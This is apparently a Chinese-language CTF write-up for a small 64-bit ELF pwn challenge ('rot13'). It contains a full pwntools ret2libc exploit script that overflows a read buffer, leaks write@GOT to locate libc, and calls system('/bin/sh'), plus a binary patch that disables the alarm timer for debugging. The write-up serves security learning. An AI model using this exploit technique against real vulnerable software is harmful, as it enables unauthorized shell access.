io.interactive()
io.close()记得计算偏移时要//8,想想为什么?
交互得到flag:
flag{5c16831d-488a-44b1-a4af-92379cae63b3}rot13
this binary is so small!
checksec发现当然是64位ELF且只开启了NX保护。
不过这个ELF文件十分小,没有通用的pop ret的gadget,ida分析,发现有一处可以利用的mov ret(应该是故意给的),read函数有栈溢出漏洞,所以还是通过构造ROP链泄露一个libc的函数,减去偏移得到libc的基地址,计算system和/bin/sh地址,然后再次利用getshell。

这里有个小技巧(其实是我用):pop pop ret控制rsp时出错了
我们利用write泄露write_got时发现rdi在程序本身的write输出后就为1了,到我们利用时(leave ret之后)也没变,所以第一次泄露时就只用mov rsi ret控制rsi即可,刚好留下一个空位返回程序开始的地址,供下一次栈溢出利用。
整体过程:
找到
mov rsi ret的gadget,read栈溢出泄露write_got并返回函数开头以继续利用read栈溢出。减去偏移得到
libc的基地址,计算system和/bin/sh地址。再次
read栈溢出getshell。
代码如下:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
import os
__dir__ = os.path.dirname(__file__)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
pwn_file = os.path.join(__dir__, 'rot13_modify')
libc_file = os.path.join(__dir__, 'x64_libc.so.6')
libc = ELF(libc_file)
elf = ELF(pwn_file)
io = process([pwn_file], env={"LD_PRELOAD": './x64_libc.so.6'})
io = remote('everything411.top', 10016)
rand_val = 0xdeadbeefdeadbeef
write_plt = elf.plt['write']
write_got = elf.got['write']
mov_rdi_rsi_addr = 0x400425
mov_rsi_ret = 0x40042a
write_in_sub_addr = 0x4004AC
pop_rdx_rbp_ret = 0x40047e
pop_rbp_ret = 0x40047f
sub_func_addr = 0x400481
#gdb.attach(io)
payload_leak = b'A' * 0x40 + p64(rand_val) + \
p64(mov_rsi_ret) + p64(write_plt) + p64(sub_func_addr) + p64(write_got)
io.sendline(payload_leak)
r = io.recvuntil('\x00\x00\x00\x00\n')
r = io.recv()
libc_write_addr = u64(r[:8])
print(r, hex(libc_write_addr))
libcbase = libc_write_addr - libc.symbols['write']
system_addr = libcbase + libc.symbols['system']
binsh_addr = libcbase + next(libc.search(b'/bin/sh'))
payload = b'A' * 0x40 + p64(rand_val) + \
p64(mov_rdi_rsi_addr) + p64(system_addr) + p64(binsh_addr) + p64(0)
io.sendline(payload)
io.recv()
io.interactive()
io.close()交互得到flag:
flag{9034ba03-f34c-46f4-8213-e49e76a35ad2}这里还有个小技巧(其实有点瞎搞):
这个ELF程序还有个alarm函数定时$10$秒自动退出,防止动态调试,我们可以在ida里找到这段汇编代码,按U变为hex字符串,用winhex等去查找ELF中这段hex串,找到0A 00 00 00改为FF FF FF FF,然后保存,这下运行这个ELF程序就会定时0xFFFFFFFF秒自动退出,相当于不退出,然后就可以gdb动态调试了。

(做hard时睡意袭来 $\rightarrow$ 其实就是做不来了)
小结
相比于上次写iscc2020的WP时,我总算会做点pwn了,路漫漫其修远兮(气象卫星),还得继续学习了。
同时做题时千万别被表象欺骗了,有几道题就是这么卡住我的,要学会看题面和题面的反面。